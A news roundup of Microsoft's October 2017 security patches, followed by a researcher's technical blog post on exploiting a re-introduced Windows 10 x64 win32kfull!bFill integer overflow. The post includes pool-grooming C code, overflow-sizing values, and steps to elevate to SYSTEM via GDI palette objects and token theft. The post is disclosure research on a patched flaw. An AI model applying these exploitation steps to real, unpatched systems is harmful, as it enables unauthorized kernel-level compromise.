As part of its "October Patch Tuesday," Microsoft has today released a large batch of security updates to patch a total of 62 vulnerabilities in its products, including a severe MS office zero-day flaw that has been exploited in the wild. Security updates also include patches for Microsoft Windows operating systems, Internet Explorer, Microsoft Edge, Skype, Microsoft Lync and Microsoft SharePoint Server. Besides the MS Office vulnerability, the company has also addressed two other publicly disclosed (but not yet targeted in the wild) vulnerabilities that affect the SharePoint Server and the Windows Subsystem for Linux. October patch Tuesday also fixes a critical Windows DNS vulnerability that could be exploited by a malicious DNS server to execute arbitrary code on the targeted system. Below you can find a brief technical explanation of all above mentioned critical and important vulnerabilities. Microsoft Office Memory Corruption Vulnerability (CVE-2017-11826) This vulnerability, classified by Microsoft as "important," is caused by a memory corruption issue. It affects all supported versions of MS Office and has been actively exploited by the attackers in targeted attacks. An attacker could exploit this vulnerability either by sending a specially crafted Microsoft Office file to the victims and convincing them to open it, or hosting a site containing specially crafted files and tricking victims to visit it. Once opened, the malicious code within the booby-trapped Office file will execute with the same rights as the logged-in user. So, users with least privilege on their systems are less impacted than those having higher admin rights. The vulnerability was reported to Microsoft by security researchers at China-based security firm Qihoo 360 Core Security, who initially detected an in-the-wild cyber attack which involved malicious RTF files and leveraged this vulnerability on September 28. Microsoft Windows DNSAPI Remote Code Execution Vulnerability (CVE-2017-11779) Among other critical vulnerabilities patched by Microsoft include a critical remote code execution flaw in the Windows DNS client that affects computers running Windows 8.1 and Windows 10, and Windows Server 2012 through 2016. The vulnerability can be triggered by a malicious DNS response, allowing an attacker gain arbitrary code execution on Windows clients or Windows Server installations in the context of the software application that made the DNS request. Nick Freeman, a security researcher from security firm Bishop Fox, discovered the vulnerability and demonstrated how an attacker connected to a public Wi-Fi network could run malicious code on a victim's machine, escalate privileges and take full control over the target computer or server. Windows Subsystem for Linux Denial of Service Vulnerability (CVE-2017-8703) This denial of service (DoS) issue is yet another noteworthy vulnerability which resides in Windows Subsystem for Linux. The vulnerability, classified by Microsoft as "important," was previously publicly disclosed, but wasn't found actively exploited in the wild. The vulnerability could allow an attacker to execute a malicious application to affect an object in the memory, which eventually allows that the application to crash the target system and made it unresponsive. Microsoft Office SharePoint XSS Vulnerability (CVE-2017-11777) Another previously disclosed but not yet under attack vulnerability is a cross-site scripting (XSS) flaw in Microsoft SharePoint Server that affects SharePoint Enterprise Server 2013 Service Pack 1 and SharePoint Enterprise Server 2016. The vulnerability, also classified by Microsoft as "important," can be exploited by sending a maliciously crafted request to an affected SharePoint server. Successful exploitation of this vulnerability could allow an attacker to perform cross-site scripting attacks on affected systems and execute malicious script in the same security context of the current user. Besides these, the company has patched a total of 19 vulnerabilities in the scripting engine in Edge and Internet Explorer that could allow web pages to achieve remote-code execution, with the logged-in user's permissions, via memory corruption flaws. Just opening a web page could potentially land you in trouble by executing malware, spyware, ransomware, and other nasty software on the vulnerable computer. More RCE And Other Vulnerabilities Redmond also patched two vulnerabilities in the Windows font library that can allow a web page or document to execute malicious code on a vulnerable machine and hijack it on opening a file with a specially crafted embedded font or visiting a website hosting the malicious file. The update also includes fixes for a bug in Windows TRIE (CVE-2017-11769) that allows DLL files to achieve remote code execution, a programming error (CVE-2017-11776) in Outlook that leaves its emails open to snooping over supposedly secure connections. Other issues patched this month include two remote code execution flaws in the Windows Shell and a remote code execution bug in Windows Search. Microsoft also published an advisory warning user of a security feature bypass issue affecting the firmware of Infineon Trusted Platform Modules (TPMs). Surprisingly, Adobe Flash does not include any security patches. Meanwhile, Adobe has skipped October's Patch Tuesday altogether. Users are strongly advised to apply October security patches as soon as possible in order to keep hackers and cybercriminals away from taking control over their computers. For installing security updates, simply head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually. Via thehackernews.com

TLDR Microsoft reintroduced a kernel vulnerability in Windows 10 Creators Update which was originally patched in 2016. This blog showcases the exploitation of this “wild” Pool-based overflow in the kernel on Windows 10 x64 (RS2) Microsoft improved the validation of the BASEOBJECT64.hHmgr field which makes linear Pool overflows on the Paged Session Pool harder to exploit when using well-known exploitation techniques using Palettes or Bitmaps Exploitation using Palettes or Bitmaps to get arbitrary Read-Write primitives is still possible despite the improved hHmgr Handle validation Exploits (one using Palettes, one using Bitmaps) have been published on Github Vulnerability History About two months ago, we discovered an Integer Overflow vulnerability in the kernel function win32kfull!bFill in Windows 10 x86 (v1607, Anniversary Update) and Windows 10 x86/x64 (v1703, Creators Update). The vulnerability was reported to Microsoft via the ZDI. It has been patched as part of Microsoft’s September Updates. ZDI published it as ZDI-17-733. The vulnerability did not receive its own CVE, because it was declared as an update for CVE-2016-0165. The CVE-assignment was rather surprising for us since the “original” win32k!bFill vulnerability, which had been discovered by @bee13oy of CloverSec Labs, was assigned CVE-2016-3309. The interesting part with this vulnerability is that the very same issue had already been patched in Windows 10 and earlier Windows versions as part of the MS16-098 update from August 2016. Back then, the patch successfully addressed this Integer Overflow vulnerability by adding the function ULongMult to perform overflow-safe multiplications. However, at some point Microsoft removed the ULongMult function from the Windows 10 code base. While the 64-bit version of Windows 10 remained safe despite the removal of this function, the 32-bit version of Windows 10 (v1607) became vulnerable again to this flaw. With the Creators Update things became worse, when Microsoft changed the resulting length variable of the multiplication to a 32-bit value. The result was that, by installing the Creators Update, everyone with the latest patch level of Windows 10 x64 was vulnerable again to this vulnerability. In fact, Microsoft made two code changes: First they dropped ULongMult in Windows 10, making the 32-bit OS vulnerable again, then they apparently changed the type of the length variable in v1703 making Windows 10 x64 vulnerable, too. The bFill vulnerability has been exploited before and exploit code is publicly available. However, available exploit code targets Windows 8.1 x64 only. In this blog post we demonstrate how the vulnerability can also be exploited under Windows 10 x64 (Build 15063.540). Great research material has been published by Saif El-Sherei (@Saif_Sherei) of Sensepost covering the details of this specific vulnerability. He demonstrated twice that this bug was very well exploitable: Blog post: Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects Defcon 2017: “Demystifying Windows Kernel Exploitation by Abusing GDI Objects” The exploit, slides, white paper, videos, etc. for his Defcon technique using Palette objects are published on Github Important research with a very similar vulnerability has also been published by Nicolas Economou (@NicoEconomou), who demonstrated the exploitation of the RGNMEMOBJ::vCreate vulnerability on Windows 10 x64. While the vulnerability was in a completely different function the actual Integer Overflow and the function which triggers the Out-Of-Bounds (“OOB”) Writes (win32kbase!AddEdgeToGET) are very similar. The bFill vulnerability is a straight forward Integer Overflow, multiplying a controllable DWORD with a constant value (0x28 on 32-bit systems and 0x30 on 64-bit systems) before passing it on to the memory allocation function win32kfull!PALLOCMEM2. By allocating a small Pool buffer and overflowing into adjacent objects it was possible to achieve Ring0 code execution in a highly-reliable fashion with well-known techniques using GDI kernel objects. This blog post will cover how the vulnerability found its way back into the Windows 10 code base and how to exploit it on Windows 10 x64 with the latest Creators Update (before the September patches were released). In my opinion, the bug is particularly interesting, since it is a good example of a linear, “wild” Pool-based overflow, a type of vulnerability which still occurs quite often in modern Kernels. “Wild” in that context means that the contents which are written OOB are not, or only to a limited degree controllable by an attacker. Please note that due to the amount of detail which had already been published by Saif and Nico, certain details about the overflow will be omitted or only covered briefly. I strongly recommend to study their research material beforehand. Before and after the Patch First of all, let’s have a short look at how Microsoft originally patched the vulnerability under Windows 8.1 x64. Following images show the vulnerable code in win32k!bFill on the left and the patched version on the right: The introduction of the safe multiplication wrapper function ULongMult (both under 64- and 32-bit systems) successfully remediated the vulnerability under Windows 8.1. Knowing that the patches for Windows 8.1 looked good after the MS16-098 update, let’s look at the equivalent Windows 10 binaries (in case of Windows 10 this is win32kfull.sys) and how the vulnerability got patched there. If you compare the pre-patch versions of the Windows 10 binaries for 32- and 64-bit, you’ll notice that the vulnerable code looks almost 100% identical to the one we see in the vulnerable Windows 8.1 binary: After the MS16-098 update, the vulnerabilities were resolved in the same way as it was done under Windows 8.1, by adding ULongMult to perform the potentially unsafe multiplication: So far so good, it looks like Microsoft correctly patched the Integer Overflow under both Windows 10 versions back in 2016. Now, let’s take a leap forward in time, up to the latest version (as of August 2017) of the Anniversary Update, v1607, and check the same code regions in the bFill function again: First of all, we notice that the UIntMult function has been removed! Checking the binary, I found out that the safety function is not even present in the binary anymore – it had been removed completely from win32kfull.sys. For the 64-bit version the controlled size value is read as a DWORD (!) at win32kfull+0x4aa2 from RBX+4 and moved into EAX. At win32kfull+0x4abe we multiply RAX by 3 and store it into RCX. In this case, the multiplication is indeed safe against Integer Overflows since RAX is limited by the maximum value which can be stored in EAX, which is MAX_UINT32 (0xffffffff). After the multiplication, the value in RCX is shifted left by 4 (i.e. multiplied by 0x10). This operation is also safe since RCX can’t be bigger than MAX_UINT32*3, which is 0x2fffffffd. After the SHL instruction we also have a check that the resulting value in RCX is smaller than MAX_UINT32. This last check is rather useless against an Integer Overflow which might occur in the instructions before, but anyway, in this case the situation is completely safe against the flaw mentioned above. In the 32-bit binary the situation is completely different: The controlled DWORD is again stored in EAX, but then we directly hit the unsafe IMUL instruction, multiplying the controlled DWORD by 0x28. This is the exact same vulnerability which was present before the MS16-098 patches were released! In other words: By removing the UIntMult function Microsoft re-introduced the privilege escalation vulnerability in Windows 10, v1607, 32-bit. On a side note: The UIntMult function has not been removed from Windows 8.1, only Windows 10 was affected. When I noticed the re-appearance of this security issue, I wrote an advisory and submitted it to the ZDI describing the vulnerability. Since I analyzed the binary with the latest version of Windows 10 v1607, I initially missed that things got even worse when installing the Creators Update. Let’s see what happened by inspecting the win32kfull.sys binary of Windows 10 x64 v1703, fully patched as of August 2017 (the OS version footprint is 15063.0.amd64fre.rs2_release.170317-1834 to be exact): Just like in the last version of the binary we read the controlled DWORD from RBX into EAX (not RAX!). At win32kfull+0x11db47 we multiply the DWORD value in RAX by 3 and store the resulting value in ECX instead of RCX, thereby truncating the upper 32 bits of the 64-bit value. The SHL instruction can then be abused to cause a 32-bit Integer Overflow. As you might have noticed, the vulnerability now looks 100% the same as in Win10 v1511 before the MS16-098 updates. Any value larger than 0x5555556 will cause an exploitable Integer Overflow making the Windows kernel vulnerable to privilege escalation attacks. The above vulnerability in Windows 10 Creators Update could still be exploited despite all the mitigations that Microsoft has put into place to make an attacker’s life harder. The “how” will be covered in the exploitation part of this blog post. But first, let’s take a look at how Microsoft has finally patched the vulnerability in the September updates (Build 15063.608): As we can see, the safe multiplication wrapper functions have found their way back into the Windows 10 code base. The vulnerability is therefore not present anymore in the latest Windows 10 v1703. Interestingly, under the v1607 branch the safe wrapper function has NOT been added for 64-bit, but only for 32-bit. But right now, the multiplication is done in a safe way. Well, let’s check that again in a few months… Exploitation Case Study Recent research, most notably Morten Schenk’s (@Blomster81) material which has been published at BlackHat 2017, mostly focused on “Write-What-Where” (“WWW”) vulnerabilities. Morten has demonstrated that, even with the latest versions of Windows 10, it is still possible to exploit this type of vulnerability using arbitrary Read-Write (“ARW”) primitives based on the corruption of GDI objects. This vulnerability, however, is an example of a linear, Pool-based overflow. Furthermore, it is an overflow where you hardly control any of the data which is being written. This type of vulnerability is often labeled as “wild” overflow since the data which is written OOB is not directly user-controllable. Linear Pool overflows are still very common in modern kernels, often originating from Integer Overflows or Integer Truncations. While similar exploitation techniques can be used to gain arbitrary code execution with both vulnerability classes, in case of a WWW-vulnerability the attacker always needs some sort of information leak in order to know where to write to. From an attacker’s perspective, the advantage of linear overflows is that you only need to craft the Pool layout properly in order to know exactly which object or structure you are going to overwrite. Unfortunately, Pool-based Feng Shui is still amazingly simple to accomplish under recent Windows 10 systems, giving you a large amount of possibilities which objects to overwrite. Please note: This blog post will not focus on the basics of GDI-object based kernel exploitation or basic Pool Feng Shui techniques. Also, we won’t cover an in-depth analysis of the vulnerability and the overflow itself. This has been thoroughly described in Saif El-Sherei’s Defcon paper (pages 33-49). Facilitating Pool Layout The first step into exploiting this bug was of course running Saif’s public exploit against a vulnerable Windows 10 x64 VM (Build 15063.540). Saif’s exploit performs Pool Feng Shui before triggering the actual vulnerability in order to overwrite the sizlBitmap.cx member of a Bitmap object (or SURFOBJ in kernel context). This could be leveraged to create an ARW primitive and to elevate privileges by hijacking the SYSTEM Process Token. The Pool Feng Shui is a decisive part of the exploit which has to work in a highly-reliable fashion, because the wrong Pool layout will in most cases directly BSOD the machine. In order to verify the Pool layout, a breakpoint was set on the instruction right after the flawed win32kfull!PALLOCMEM2 allocation, at win32kfull!bFill+0x3e6: According to Saif’s description we should have seen the 0x50-sized allocation (0x60 includes 0x10 bytes for the Pool header) to be located right at the end of a Pool Page, not in the middle. Obviously, crafting the Heap (in this case, the Paged Session Pool) was not successful. The actual OOB Writes, which happen later in the function win32kbase!AddEdgeToGET, will overwrite the adjacent object headers and data fields, which will result in a BSOD. Just a short recap: Saif’s Pool layout should have given us a continuous pattern of one Region object (Pool tag “Gh04”), followed by one Bitmap object (tag “Gh05”), followed by 2 freed Accelerator objects of size 0x40 (tag “Usac”): The 0x50-sized allocation was supposed to fall into one of the “holes” created at the end of one of the Pages. The reason why we did not get this layout was of course a change in the object sizes which were used in the Pool Feng Shui. Luckily, adjusting the object sizes is just a matter of supplying the correct parameters to the CreateBitmap and CreatePalette functions. In order to facilitate the creation of Bitmap and Palette objects of a certain size wrapper functions have been written to accomplish this task (createPaletteofSize, createBitmapOfSize and createCompatibleBitmapOfSize). The functions only take a size parameter which will be the Pool buffer’s size (excluding Pool header) that is supposed to be allocated. The parameters are then computed accordingly. As an example, this is the createPaletteofSize function: HPALETTE createPaletteofSize(int size) { // we alloc a palette which will have the specific size on the paged session pool. if (size <= 0x90) { printf("bad size! can't allocate palette of size < 0x90!\n"); return 0; } int pal_cnt = (size - 0x90) / 4; int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY); LOGPALETTE *lPalette = (LOGPALETTE*)malloc(palsize); memset(lPalette, 0x4, palsize); lPalette->palNumEntries = pal_cnt; lPalette->palVersion = 0x300; return CreatePalette(lPalette); } So, after figuring out how to layout the Pool in the exact same way as it was described in Saif’s white paper, another problem occurred which took me quite some time to overcome. The whole system suddenly froze after running the POC. This happened for both techniques, either when using Palettes or when using Bitmaps. Please note, that it was not a BSOD which occurred, just a system freeze. Now, how do you debug a system freeze? The big problem with a freeze is that you have no fixed point where you can clearly say NOW things went wrong, unlike if you get a BSOD where you see a backtrace and the exact place where nt!KeBugcheckEx was called. Usually, when you get a crash, you simply trace backwards from the faulting instruction to see where the problem originates from. But this specific point was missing here… So after freezing my VM quite a number of times without getting any further my decision was to simplify Saif’s POC and to rewrite it from scratch, step by step, to see if and where the problem popped up again. First, I wanted to simplify the Pool layout. The plan was to get rid of the Accelerator objects and the Region objects and to do the Pool Feng Shui with only Palette or Bitmap objects, just to make sure that the problem was not connected to those objects. A continuous pattern of 4 Palettes or Bitmaps each was supposed to be created with a “hole” at the end of the first object. The hole should be created as a free spot which is supposed to be claimed by the overflow-buffer at the moment when we trigger the vulnerability. Additionally, the hole needs to be at the end of the Pool Page because otherwise the system would bugcheck when freeing the overflow-buffer near the end of the win32kfull!bFill. So, why do we actually need 4 consecutive objects? The first one is a “Dummy” object which will prepare the hole for the overflow-buffer. The second one will be called “Pwnd” object, since it is the one which will get overwritten by the overflow. This Pwnd object (with overwritten cEntries or sizlBitmap.cx value, depending on the technique) will be used to transform the 3rd object in line into our Manager and the 4th object into our Worker object. The control of the Worker object will give us the ARW primitive: For Bitmap object we can can control the sizlBitmap.cx value and the pvScan0 pointer, for Palette objects we can control the cEntries value and the pFirstColor pointer. Please note, that we can NOT use the Pwnd object as the Manager object, because we will only be able to do exactly one Set/GetPaletteEntries or Set/GetBitmapBits call with that overwritten object. The reason for that is a deadlock situation which will occur due to the wild overflow into the Pwnd object – this will be explained in detail in the next paragraph. The Pool layout, what to overwrite and where to overwrite is illustrated in the following visualization: Adjusting the Pool layout to the hole of size 0xa0 was required so that the overwrite exactly hits the cEntries or sizlBitmap.cx values. The good thing with Integer Overflows is that the chance that you control the size of the overflow-buffer is usually quite high. Just like in this case! Looking at Saif’s POC code we see that he used 0x156 PolyLineTo calls with 0x3fe01 as parameter, which gave him the exact size he needed (0x50). The computation behind that is: 0x3FE01 * 0x156 = 0x5555556; (0x5555556 + 1) * 0x30 = 0x100000050 = (UINT32) 0x50 In our case we need to get size 0xa0. In order to allocate this size, we can’t use an Integer Overflow which results in a size just above MAX_INT32, because 0x1000000a0 cannot be divided evenly by 0x30 (0x1000000a0 % 0x30 = 0x20). However, we can just use 2*MAX_INT32 as “target” boundary. The only thing we need is an integer factorization of 0xaaaaaad (== (0x2000000a0 / 0x30) - 1), so for example the values 0x1769 and 0x74a5 give us the correct size: 0x1769 * 0x74a5 = 0xaaaaaad (0xaaaaaad + 1) * 0x30 = 0x2000000a0 = (UINT32) 0xa0 Using only Palettes or Bitmaps makes the code of the Feng Shui part very simple. For example, for Palette objects, the Feng Shui task is performed by the following lines of code (chunksize in this case is 0xa0, palette_size is 0xf40): // defragment on page level – we will cause 0xfe0 + 0x10 = 0xff0-sized buffers, filling one pool page each for (int i = 0; i < 0x400; i++) { AllocateOnSessionPool(0xfe0); // alloc 0xff0 including header } // defragment with chunksize - we will create buffers on session pool of size chunsize + 0x10 for (int i = 0; i < 0x5000; i++) { AllocateOnSessionPool(chunksize); } targets_objects = (target_objs*)calloc(create_objs_count, sizeof(target_objs)); for (int i = 0; i < create_objs_count; i++) { targets_objects[i].dummy_palette = createPaletteofSize(palette_size); // create "hole" here! targets_objects[i].pwnd_palette = createPaletteofSize(0xfe0); // alloc 0xff0 including header targets_objects[i].manager_palette = createPaletteofSize(0xfe0); targets_objects[i].worker_palette = createPaletteofSize(0xfe0); } // now trigger some more chunksize allocations to fill the holes for (int i = 0; i < create_objs_count / 2; i++) { AllocateOnSessionPool(chunksize); } The Feng Shui part for the Bitmap technique will look exactly the same, only with calls to createBitmapOfSize instead of createPaletteOfSize. The AllocateOnSessionPool function does what the name already implies, allocate a buffer of a given size on the Paged Session Pool by using the NtUserConvertMemHandle syscall (kudos to Nico for finding this nice allocation primitive!). First, we defragment on the Pool Page level, allocating 0x400 Pages. Afterwards, we defragment with size 0xa0 to fill potential holes that we do not want to hit when allocating our overflow-buffer. Finally, we allocate the Palettes in groups of four with sizes 0xf40, 0xfe0, 0xfe0, 0xfe0 (excluding header size). After creating the objects, we allocate some more 0xa0-sized buffers to make sure the overflow-buffer is placed somewhere in the middle of the created objects. Now, when we trigger the vulnerability right after the Pool Feng Shui part we can verify whether it actually worked and if the overflow-buffer falls into the correct hole. We can do this by setting a breakpoint on the instruction right after the flawed allocation in the win32kfull!bFill function. The following listing shows the Pool layout for the Palette technique: As we can see, the overflow-buffer claimed exactly the hole that we wanted. The buffer size 0xb0 of course includes the Pool header. The actual overflow will happen right after the allocation, in function win32kbase!bConstruct which will call win32kbase!AddEdgeToGet for the actual writes. Due to the placement of the overflow-buffer we will hit the adjacent “Pwnd Palette” and overwrite its cEntries field. The same overflow situation with Bitmaps will lead to an overwrite of the sizlBitmap.cx field. Inspecting a System Deadlock Now, let’s have a look at the actual overflow. We continue from the debugger state above, with RIP still at the position right after the flawed allocation. The following listing shows the memory before and after the overflow using Palettes: The important cEntries value has been colored yellow - it has been overwritten with 0x1337. This will give us OOB Read and Write capabilities through the Pwnd Palette. Using the Bitmap technique we will see the following data layout before and after the overflow: The overwritten sizlBitmap.cx field will give us an OOB Read and Write primitive through the Pwnd Bitmap. Continuing after the overflow we iterate over the pwnd_palette (or pwnd_bitmap) entries in our target_object array, calling SetPaletteEntries (or SetBitmapBits) on each object. One of the calls will then trigger the overflow into the Manager object: for (int i = create_objs_count - 1; i >= 0; i--) { // [...] if (SetPaletteEntries(targets_objects[i].pwnd_palette, 0, palette_overflow_count_until_cEntries / 4, rPalette) == (palette_overflow_count_until_cEntries / 4)) break; } But when executing the POC, trying to get control over the Manager object, the old problem popped up again: The POC first became unresponsive, then the machine suddenly froze! Again the same behavior, for both Palettes and Bitmaps. At least I had minimized the POC to the point where I knew things went down the drain: It must have been one of the SetPaletteEntries or SetBitmapBits calls which causes the freeze – most likely the one which operates on the overwritten object. Knowing that the problem was related to the overwritten Palette or Bitmap object it could also be concluded that overwritten Accelerator or Region objects were not involved in the system freeze. As you can see in above memory dumps, we overwrite nearly every single byte of the adjacent object, up to the cEntries / sizlBitmap.cx members and including a few bytes after these. The identification of the “bad” field was now just a matter of creating a minimalistic piece of code and of manually “replaying” the overflow situation step-by-step. The way I approached this will be explained using the Palette objects – the same methodology can be applied to Bitmaps. The code that I used for Palettes was: LOGPALETTE lPalette; memset(&lPalette, 0x4, sizeof(LOGPALETTE) + 1*sizeof(PALETTEENTRY)); lPalette.palNumEntries = 1; lPalette.palVersion = 0x300; HPALETTE hpal = CreatePalette(&lPalette); PALETTEENTRY palentry = { 1,2,3,4 }; while (1) { printf("call SetPaletteEntries now!\n"); getchar(); int res = SetPaletteEntries(hpal, 0, 1, &palentry); printf("res: set 0x%x entries\n", res); } The loop continuously calls SetPaletteEntries. This gives us the chance to change data bit by bit. In order to manually change data of the Palette object, a breakpoint should be set right after the EPALOBJ constructor in win32kfull!GreSetPaletteEntries. When hitting win32kfull!GreSetPaletteEntries+0x31, RSP+0x28 will hold a reference to the Palette object: ba e1 win32kfull!GreSetPaletteEntries+0x31 "dd poi(rsp+28)" Executing the c snippet, we will hit our breakpoint and we see the “clean” layout of the Palette object. Only the first 0x40 bytes are taken into account, since this is the number of bytes that we overwrite in our scenario. The bytes which will be overwritten with different values are colored yellow (for BASEOBJECT64) and cyan (for other fields of the PALETTE64 structure). Just as a reminder, here are the BASEOBJECT64 and PALETTE64 structures, taken from Saif’s paper: typedef struct _BASEOBJECT64 { ULONG64 hHmgr; // 0x0 ULONG32 ulShareCount; // 0x8 WORD cExclusiveLock; // 0xc WORD BaseFlags; // 0xe ULONG64 Tid; // 0x10 }BASEOBJECT64 typedef struct _PALETTE64 { BASEOBJECT64 BaseObject; // 0x00 FLONG flPal; // 0x18 ULONG cEntries; // 0x1C ULONGLONG ullTime; // 0x20 HDC hdcHead; // 0x28 HDEVPPAL hSelected; // 0x30 ULONG cRefhpal; // 0x38 ULONG cRefRegular; // 0x3c PTRANSLATE ptransFore; // 0x40 PTRANSLATE ptransCurrent; // 0x48 PTRANSLATE ptransOld; // 0x50 ULONGLONG unk_058; // 0x58 PFN pfnGetNearest; // 0x60 PFN pfnGetMatch; // 0x68 ULONGLONG ulRGBTime; // 0x70 PRGB555XL pRGBXlate; // 0x78 PALETTEENTRY *pFirstColor; // 0x80 struct _PALETTE *ppalThis; // 0x88 PALETTEENTRY apalColors[3]; // 0x90 } PALETTE64, *PPALETTE64; So now, with each time we hit SetPaletteEntries, we can manually overwrite the fields and see if we “survive” the syscall, or if we encounter the program or system freeze. Following this procedure step-by-step we end up with the following manual overwrites where SetPaletteEntries is still returning data to us: However, if we overwrite the first DWORD (lower 32 bits of BASEOBJECT64.hHmgr) with 0, just in the way it happens when executing our POC, we will recognize that our program will become completely unresponsive. And, if for example you start a new process or if you just wait a few seconds, you will see that the whole OS freezes. kd will you only report the following message: DBGK: DbgkWerCaptureLiveKernelDump: WerLiveKernelCreateReport failed, status 0xc0000022. Finally, we have identified the culprit: It is the BASEOBJECT64.hHmgr member which causes the problems. And due to the fact that the hHmgr Handle is the first field of both BITMAP and PALETTE objects you cannot avoid overwriting the hHmgr field if you want to manipulate the cEntries or sizlBitmap.cx fields. At first sight this really poses a problem when exploiting linear overflows with GDI-based techniques. On a side note, the hHmgr value problem could of course be avoided in cases of controlled, linear Pool overflows. The reason is that the value of the hHmgr member is the HPALETTE value which is known from userland. That means, if we are able to overwrite the hHmgr value with the known HPALETTE value we don’t get into trouble at all – and that is of course possible when you control the data being written. Unfortunately, in our case we neither have a way to actually control this value with our overflow, nor do we have a chance to leave the hHmgr value untouched. This exact problem will likely be the case for most linear Pool overflows. The described situation where you can only overwrite the hHmgr Handle with the value 0 is of course a special one and the chance that you hit this corner case is arguably rather slim. However, executing Set/GetPaletteEntries on Palette objects with a hHmgr field overwritten with different values doesn’t have much better outcomes: Examples: Overwriting it with 0xeeeeeeee (or other randomly chosen, large values) will result in a BSOD, caused within the EPALOBJ constructor which calls win32kbase!HmgShareLockCheck and then crashes in nt!ExReleasePushLockExclusiveEx: Backtrace: Overwriting it with 0x1000 will result in a BSOD at the same address, but with a 0-pointer exception Overwriting it with 0x10000 will result in the same behavior as with 0 (first process hang, then OS freeze) … The BSOD-case is of course not of advantage for us, so I tried to understand what happens when we hit the scenario with freezing the main Thread (hHmgr == 0) and later the whole system. Single-Stepping through win32kfull!GreSetPaletteEntries we recognize that with hHmgr == 0 we do actually “survive” the EPALOBJ constructor call which crashes with large values. However, now the main Thread gets stuck when calling win32kbase!DEC_SHARE_REF_CNT. The call to this function happens near the end of win32kfull!bFill and takes a pointer to the overwritten hHmgr value as parameter. Digging a bit deeper into DEC_SHARE_REF_CNT we can observe that we get stuck calling the following functions: The function nt!ExReleasePushLockExclusiveEx releases so-called Pushlocks. Pushlocks are an internal synchronization mechanism when accessing critical data structures. The word “exclusive” means that access to a certain structure is queued – if, for example, some other Thread has acquired exclusive access using a Pushlock we’ll have to wait until the Pushlock is released again. One would assume that the kernel just rejects invalid Handle values (such as 0), but in this case, it seems like it doesn’t, but just enters a waiting state. The result is that our SetPaletteEntries function triggers the NtGdiDoPalette syscall which calls win32kfull!GreSetPaletteEntries and never returns from that, thus freezing our main Thread. If you remember, in the Pool Layout paragraph I mentioned that you can only use the Get/SetPaletteEntries or Get/SetBitmapBits call once on the overwritten Pwnd object. The described behavior is the reason for that: You will just freeze every thread which calls one of these functions on the overwritten Pwnd object. Continuation in separate Thread At that point, it seemed like the validation of the hHmgr value has rendered the vulnerability un-exploitable when using Palette and Bitmap techniques. To my surprise, I received a different result when overwriting the hHmgr Handle with 1 instead of 0. I tried this because I knew that by chosing certain point values I was able to actually overwrite the hHmgr value with 1. Hitting SetPaletteEntries with 1 did result in the same deadlock situation of the main Thread, however, for some reason, the system did not freeze anymore! This was a game changer since we were now able to continue execution in a separate Thread without being killed by a deadlocking OS. And since multiple Threads share the same Paged Session Pool, we can just use the second “Continuation Thread” to detect the successful overwrite of the Manager object and carry on with exploitation in this child Thread. The first part of the continuation Thread is: void continuation_thread() { printf("[+] continuation thread waiting for signal...\n"); while (!go) Sleep(100); // now we're in the overflow loop in the main thread. wait a bit to make sure we've hit the overflow Sleep(1000); printf("[+] now check overflow success in continuation thread\n"); // stay in loop of GetPaletteEntries read attempts until we detect that we have OOB RW capabilities int oob_read_count = 0x1000; manager_bits = (BYTE*)malloc(oob_read_count); int cRead = 0; while (!cRead) { cRead = GetPaletteEntries(manager_palette, 0, oob_read_count / 4, (PALETTEENTRY*)manager_bits); if (cRead != oob_read_count / 4) { printf("[-] could not detect arbitrary RW. expected to read 0x%x but only got 0x%x\n", oob_read_count, cRead * 4); return; } Sleep(1000); } printf("[+] successfully detected OOB RW capability in continuation thread!\n"); // [...] The “go” Boolean variable is set to true in the main Thread, right before entering the SetPaletteEntries loop. After this variable has changed we pause execution for a short moment (1000 ms in that case) until we can safely assume that the SetPaletteEntries loop has hit the overwritten Pwnd Palette object and we overwrote the cEntries field of the Manager Palette. The first GetPaletteEntries call on the Manager Palette should already return that we can read 0x1000 bytes, indicating that ARW is now possible. As soon as we gained ARW, we repair the overwrittten values of the Pwnd and Manager objects to restore everything of importance to its original state. After that we need to get the EPROCESS address of SYSTEM and the EPROCESS address of our process in order to use the ARW primitive to copy over the Token. A well-known way to get the EPROCESS pointers is to get the ntoskrnl base address first and then to resolve nt!PsInitialSystemProcess, which carries a pointer to the SYSTEM EPROCESS structure. As soon as we have this pointer we can use the ActiveProcessLinksOffsets to iterate over the various processes. The Token Kidnapping attack is nothing new and won’t be covered in detail. More interesting is probably a (AFAIK) new way how to get the ntoskrnl base address when using either Bitmap or Palette objects for exploitation. First, I was trying to get my Pool Feng Shui working using Bitmaps created by calling CreateCompatibleBitmap. If that worked, I would have been able to just use Morten Schenk’s technique that he published during BlackHat: He used the Bitmap object’s hdev pointer to get a pointer to cdd!DvrSynchronizeSurface. This function contains a call to nt! ExEnterCriticalRegionAndAcquireFastMutexUnsafe which he finally uses to compute the ntoskrnl base. Actually, there’s a much simpler way which works for both, Bitmaps and Palettes: If we look at the BASEOBJECT64 member of either the Palette or the Bitmap object we can see that the Tid member of the structure is actually a pointer to a nt!ps structure of size 0x8a0: If we search through this object with dqs we can find pointers to nt!EmpCheckErrataList and nt!KiSchedulerApc at offset 0x308/0x318: With our ARW primitive we can simply read out the Tid pointer and then the nt!EmpCheckErrataList pointer, subtract a static offset from it and thereby compute the nt base address. After getting the nt base address we can carry on with the Token Kidnapping technique and finally grant ourselves SYSTEM privileges. However, one thing will stay, even with SYSTEM privileges: We’ll be left with a non-killable process! The syscall from the SetPaletteEntries call will stay waiting in the kernel and will never return execution to userland. If someone finds out how to release a Pushlock using a data only attack please tell me =) Here is a screenshot of the working exploit using Palettes in action: The exploit using Bitmap objects is structured exactly the same: Finally, following screenshot shows the successful elevation to SYSTEM privileges: The procedure for exploiting the vulnerability with Bitmap objects is similar to when using Palettes. The Pool Feng Shui and also the hHmgr locking is exactly the same. However, even when overwriting the hHmgr value with 1 the system will still deadlock after a while. This is a point where the technique using Palettes seems to better-suited than the Bitmap technique. I still included a finished exploit for the Bitmap technique, since privilege escalation is also possible here, however a system freeze will occur after some time. The difference why Palettes work completely fine and keep the OS alive, while Bitmaps still cause trouble remains unclear. Executing the minimalistic POC and performing the manual overwrites as shown above does NOT cause the problems that we get on the latest Windows 8.1 x64 and it is also not a problem on Windows 10 x64, v1511! It seems like Microsoft has been hardening Handle checks in order to make linear Pool overflows more difficult to exploit since Anniversary Update v1607. Conclusions Improved Handle validation, which has been introduced in Windows 10 Anniversary Update, can be an obstacle for attackers when exploiting linear Pool overflows with current GDI-based exploitation 